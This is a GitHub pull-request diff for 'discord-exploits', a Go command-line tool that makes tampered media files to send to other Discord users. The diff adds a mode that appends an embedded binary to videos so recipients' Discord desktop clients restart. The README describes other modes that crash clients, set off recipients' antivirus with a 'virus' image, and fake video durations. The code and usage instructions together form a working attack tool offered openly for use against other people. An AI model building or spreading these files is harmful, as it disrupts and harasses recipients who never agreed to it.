Merge 98c890141f into 7535d433b3

.gitignore

@@ -38,3 +38,5 @@ discord-exploits-linux-64bit
 *.m4a
 
 *.mp3
+
+.idea

README.md

@@ -1,83 +1,69 @@
 [![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers)
-![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) 
+![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
 ![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
 [![GitHub forks](https://img.shields.io/github/forks/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)](https://github.com/Schmenn/discord-exploits/network)
 ![Made with](https://img.shields.io/badge/made%20with-Go-29BEB0?style=flat-square)
 
 # Discord-Exploits
-A program for creating exploited media files for discord written in Go.
+
+A program for creating exploited media files for Discord written in Go.
 
 # [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM)
 
-##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ)
+If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ)
 
-<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT, 
+<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
 
 DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL
 
 IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
 
-
+## Getting Started
-
-### Getting Help
 
 `discord-exploits -h` will show you what commands can be used and what you have to do
 
-### Creating an Expanding Video file
+## Usage
 
-`discord-exploits -m <mode> -i <input file> [-q]` 
+`discord-exploits -m <mode> -i <input file> [-q]`
 
-the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end
+| Mode | Description  |
+| :------------ | :------------ |
+| `c`  | Create a file that will crash most Discord desktop clients when played to the end |
+|  `r` | Create a file that will instantly restart most Discord desktop clients when played to the end |
+|  `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) |
+|  `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) |
+|  `n` | Create a video with negative duration |
+|  `0` or `z` | Create a video with a removed duration header (0 second video) |
+| `t` | Create a file that will play a different audio when it is replayed (still experimental) |
 
-the mode `v` stands for virus image
+The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`)
-
-the mode `e` stands for expanding video duration
-
-the mode `n` stands for negative video duration
-
-the mode `0` or `z` stands for video with 0s duration
-
-the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental)
-
-The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t)
 
 ##### The file will be saved with a random file name in the directory in which you ran the command
+
 ##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters)
+
 ##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file
 
 ## Installation
+
 ### Via releases
 
-go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version
+go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with:
 
-###### availabe systems are:
+`windows-64-bit windows-32-bit`
-`windows-64-bit
-windows-32-bit`
 
-`linux-64-bit
+`linux-64-bit linux-32-bit` (untested on linux)
-linux-32-bit`
 
-##### The Program was not yet tested on linux
+### Compile from source
 
+make sure you have [Go](https://golang.org) installed and in your path
 
-### Compiling it yourself
+1. Clone this repository:  `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip)
-###### make sure you have [Go](https://golang.org) installed and in your path
+2. Go into the folder: `cd discord-exploits`
-1. Clone this repository
+3. Build it: `go build`
-    
-    `git clone https://github.com/Schmenn/discord-exploits`
-
-###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip
-2. Go into the folder
-
-    `cd discord-exploits`
-
-3. Build it
-
-    `go build`
-
-###### the executable will have the name `discord-exploits`
 
 ## Features
+
 ### Current Features
 * Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer
 * Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
@@ -87,12 +73,14 @@ linux-32-bit`
 * Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
 * Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
 
-### Disclaimer
+## Disclaimer
+
 The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
 
 The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
 
-### Upcoming Features are:
+## Upcoming Features
-not yet decided.
+
+None yet
 
 

exploits.go

@@ -5,8 +5,8 @@ import (
 	"github.com/Schmenn/discord-exploits/exploits"
 	"github.com/Schmenn/discord-exploits/modules"
 	"os"
-	"strings"
 	"path/filepath"
+	"strings"
 )
 
 var (
@@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
 			fmt.Println("completed task.")
 			os.Remove(out)
 
+		case "r":
+			fmt.Println("transcoding video from webm to mp4")
+			out := modules.Transcode(inputFile, "mp4")
+			fmt.Println("finished transcoding video from webm to mp4")
+			fmt.Println("editing video.")
+			exploits.RunRestartVideoTask(out)
+			fmt.Println("completed task.")
+			os.Remove(out)
+
 		default:
 			fmt.Println("the mode doesn't match the file")
 		}
@@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
 			exploits.RunCrashVideoTask(inputFile)
 			fmt.Println("completed task.")
 
+		case "r":
+			fmt.Println("editing video.")
+			exploits.RunRestartVideoTask(inputFile)
+			fmt.Println("completed task.")
+
 		default:
 			fmt.Println("the mode doesn't match the file")
 		}

exploits/expanding-video.go

@@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) {
 		return
 	}
 
-	data[index+3]  = 63
+	data[index+3] = 63
-	data[index+4]  = 240
+	data[index+4] = 240
-	data[index+5]  = 0
+	data[index+5] = 0
-	data[index+6]  = 0
+	data[index+6] = 0
-	data[index+7]  = 0
+	data[index+7] = 0
-	data[index+8]  = 0
+	data[index+8] = 0
-	data[index+9]  = 0
+	data[index+9] = 0
 	data[index+10] = 0
 
 	name := modules.CreateName("webm")

exploits/negative-video.go

@@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) {
 		return
 	}
 
-	data[index+3]  = 66
+	data[index+3] = 66
-	data[index+4]  = 255
+	data[index+4] = 255
-	data[index+5]  = 176
+	data[index+5] = 176
-	data[index+6]  = 96
+	data[index+6] = 96
-	data[index+7]  = 0
+	data[index+7] = 0
-	data[index+8]  = 0
+	data[index+8] = 0
-	data[index+9]  = 0
+	data[index+9] = 0
 	data[index+10] = 0
 
 	name := modules.CreateName("webm")

exploits/restart-video.go

@@ -0,0 +1,45 @@
+package exploits
+
+import (
+	_ "embed" // embed
+	"fmt"
+	"os"
+	"os/exec"
+	"time"
+
+	"github.com/Schmenn/discord-exploits/modules"
+)
+
+//go:embed restart.bin
+var restartBin []byte
+
+// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
+// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
+func RunRestartVideoTask(filename string) {
+	binname := modules.CreateName("bin")
+	outname := modules.CreateName("mp4")
+	txtname := modules.CreateName("txt")
+	// prevent duplicate id
+	time.Sleep(time.Millisecond * 1)
+	reencode := modules.CreateName("mp4")
+
+	modules.CheckForFFmpeg()
+	cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
+	err := cmd.Run()
+	modules.Check(err)
+	err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
+	modules.Check(err)
+	err = os.WriteFile(binname, restartBin, 0777)
+	modules.Check(err)
+	cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
+	err = cmd.Run()
+	modules.Check(err)
+
+	err = os.Remove(binname)
+	modules.Check(err)
+	err = os.Remove(txtname)
+	modules.Check(err)
+	err = os.Remove(reencode)
+	modules.Check(err)
+	fmt.Println("Saved video to: " + outname)
+}

exploits/virus-image.go

@@ -12,7 +12,7 @@ var (
 	vpng1 []byte
 	//go:embed virus2.txt
 	vpng2 []byte
-	vpng = append(vpng1, vpng2...)
+	vpng  = append(vpng1, vpng2...)
 )
 
 // RunVirusImageTask edits file

exploits/zero-video.go

@@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) {
 		return
 	}
 
-	data[index+3]  = 0
+	data[index+3] = 0
-	data[index+4]  = 0
+	data[index+4] = 0
-	data[index+5]  = 0
+	data[index+5] = 0
-	data[index+6]  = 0
+	data[index+6] = 0
-	data[index+7]  = 0
+	data[index+7] = 0
-	data[index+8]  = 0
+	data[index+8] = 0
-	data[index+9]  = 0
+	data[index+9] = 0
 	data[index+10] = 0
 
 	name := modules.CreateName("webm")
 
-	fmt.Println("Saved video to: "+name)
+	fmt.Println("Saved video to: " + name)
 
 	err = os.WriteFile(name, data, os.FileMode(0777))
 	if err != nil {

modules/ffmpeg-check.go

@@ -7,7 +7,7 @@ import (
 )
 
 // CheckForFFmpeg looks for ffmpeg in the path
-func CheckForFFmpeg() (string) {
+func CheckForFFmpeg() string {
 	path, err := exec.LookPath("ffmpeg")
 
 	if err != nil {

modules/help.go

@@ -19,6 +19,7 @@ func Help(progName string) {
 	fmt.Println("    n     takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
 	fmt.Println("    z, 0  takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
 	fmt.Println("    c     takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
+	fmt.Println("    r     takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
 	fmt.Println("  image:")
 	fmt.Println("    v     takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
 	fmt.Println("  audio:")

modules/transcode.go

@@ -16,7 +16,7 @@ func Transcode(input string, to string) string {
 		Check(err)
 
 		fmt.Println("temporarily saving transcoded file to " + output)
-		
+
 		return output
 	}